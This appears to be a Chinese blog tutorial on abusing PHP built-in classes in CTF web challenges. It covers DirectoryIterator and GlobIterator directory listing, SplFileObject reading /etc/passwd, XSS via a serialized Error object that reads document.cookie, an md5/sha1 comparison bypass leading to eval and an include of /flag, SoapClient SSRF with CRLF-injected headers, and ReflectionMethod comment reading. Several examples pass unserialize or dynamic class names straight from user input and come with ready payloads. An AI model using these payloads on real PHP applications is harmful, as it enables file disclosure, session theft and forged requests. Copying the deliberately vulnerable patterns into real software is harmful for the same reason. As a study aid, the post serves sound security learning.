php原生类利用

一、目录遍历

可以直接绕过open_basedir,实现目录遍历

DirectoryIterator类

条件

  • PHP 5,PHP 7,PHP 8

简介

提供了一个简单的接口来查看文件系统目录的内容,此内置类的__toString方法可以获取字符串形式的文件名,再结合glob://或file://协议,即可实现目录遍历

利用

测试代码

<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
echo $a;

配合glob://协议,读取目录

注意
只能返回匹配到的第一个符号的文件名,并不是全部都返回
也可以通过迭代,可以遍历文件

<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo ($f->__toString().'<br>');
}

payload一句话的形式:

$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

Filesystemlterator类

条件

  • PHP 5 >= 5.3.0,PHP 7,PHP 8

简介

FilesystemIterator类继承于DirectoryIterator类,所以两者作用和用法基本相同,区别在于FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

GlobIterator类

条件

  • PHP 5 >= 5.3.0,PHP 7,PHP 8

简介

由官方说明我们可以得知这个原生类是自带glob的,GlobIterator类的特点只需要知道部分名称可以进行遍历,内置的魔术方法是__toString。

利用

<?php
highlight_file(__file__);
$dir=new GlobIterator("/*flag*");
echo "<br>";
echo $dir;

二、文件读取

SplFileInfo类

条件

  • PHP 5 >= 5.1.2,PHP 7,PHP 8

简介

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作,SplFileInfo::__toString将文件路径作为字符串返回

测试代码

<?php
highlight_file(__file__);
$a = new SplFileObject('/etc/passwd');
foreach($a as $f){
    echo($f);
}

三、构造XSS

Error类

条件

  • php7,php8
  • 开启报错

简介

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的,内置有一个__toString()方法,如果把Error类作为字符串使用的时候就会触发这个方法,例如:echo 、print_r

测试代码

<?php
highlight_file(__file__);
$a = unserialize($_GET['cmd']);
echo $a;
?

poc

获取

<?php
$poc = new Error("<script>alert(document.cookie)</script>");
echo urlencode(serialize($poc));
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A39%3A%22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A74%3A%22C%3A%5CUsers%5C86136%5CAppData%5CRoaming%5CJetBrains%5CPhpStorm2022.2%5Cscratches%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Exception类

条件

  • PHP 5,PHP 7,PHP 8
  • 开启报错

简介

Exception是所有用户级异常的基类,与Error类差不多,主要区别Exceotion可以在php 5中使用

四、绕过哈希比较

还是用上面用到的两个类:Error/Exception

类属性

  • message 错误消息内容

  • code 错误代码

  • file 抛出错误的文件名

  • line 抛出错误的行数

测试

以Error为例

<?php
$a = new Error("test", "test2");
echo $a;
?>

//注意:这里的第一个参数test是Error类的message属性,,第二个参数test2是Error类的code属性
返回的报错信息

Error: test in C:\Users\86136\AppData\Roaming\JetBrains\PhpStorm2022.2\scratches\test.php:2
Stack trace:
#0 {main}

这里返回的报错只返回了test和错误的行号,而错误对象test2并没有输出
所以,我们可以利用这个特性

利用

再次测试

<?php
$a = new Error("test", 1); $b = new Error("test", 2);
echo $a;
echo $b;
?>

返回的报错信息

Error: test in C:\Users\86136\AppData\Roaming\JetBrains\PhpStorm2022.2\scratches\test.php:2
Stack trace:
#0 {main}
Error: test in C:\Users\86136\AppData\Roaming\JetBrains\PhpStorm2022.2\scratches\test.php:2
Stack trace:
#0 {main}

我们可以发现即使$a,$b中的错误对象并不相同,但返回的值是一样的,所以我们只要保证两个Error类在同一行,第一个对象一样,则返回的值是一样的

例题 [2020 极客大挑战]Greatphp

源码:


从响应头X-Powered-By可以看出,PHP版本为7.2.25,所以可以利用Error类
这里网上有很多优秀的文章将解题思路写的很清楚了,在这里我就不再赘述

poc

<?php
$str = "/flag";
echo urlencode(~$str);
?>
//%D0%99%93%9E%98
<?php
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}
$payload = "?><?=include~".urldecode('%D0%99%93%9E%98')."?>";
$str = new SYCLOVER();
$str->syc = new Exception($payload, 1); $str->lover = new Exception($payload, 2);
echo urlencode(serialize($str));
?>

五、SSRF

SoapClient类

条件

  • PHP 5,PHP 7,PHP 8
  • 需要加载php_soap.dll扩展

简介

SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 _call 方法,当 _call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。

构造方法:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
可以控制第二的参数中的user_agent选项,可以配合[CRLF](https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html)实现会话固定漏洞

测试

测试代码

<?php
$target = 'http://192.168.175.100:12345/';
$post_data = 'test123';
$ua = array(
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958',
    'Content-Type: application/x-www-form-urlencoded'
);
//另外一种书写方式:$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=8asIKRJGI2493324gfsjkk958\r\nContent-Type: application/x-www-form-urlencoded";
//然后就可以不用join('^^',$ua),直接用$ua
$a = new SoapClient(null,array('location' => $target,'user_agent'=>join('^^',$ua).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'aaaaab'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

虚拟机12345端口收到的数据包

实现了任意POST请求,其中的boay、Content-Type、cookie等等都是可控的

详情参考:https://www.xiinnn.com/article/7741c455.html#SoapClient在安全中的应用

六、获取注释内容

ReflectionMethod类

条件

  • PHP 5 >= 5.1.0, PHP 7, PHP 8
  • 只能读取/** */注释的内容

原理

ReflectionFunctionAbstract类中的getDocComment方法可以访问到注释的内容

测试代码

<?php
class test
{
    public $a;
    /**
     * 这只是个测试
     * getDocComment方法是否能获得注释内容
     * @return int
     */
    public function getA()
    {
        return $this->a;
    }

}
$b = new ReflectionMethod('test','getA');//第一个参数填需要读取注释的类名,第二个参数填类里面的函数名
echo $b->getDocComment();
?>

运行结果

[2021 CISCN]easy_source

题目代码:

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

这题已经明确写明考察原生类了,而且很明显就是要考察ReflectionMethod类,直接构造payload就行了
payload:

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

posted @ 2023-01-14 20:47  bcxc9405  阅读(484)  评论(0编辑  收藏  举报
/*
*/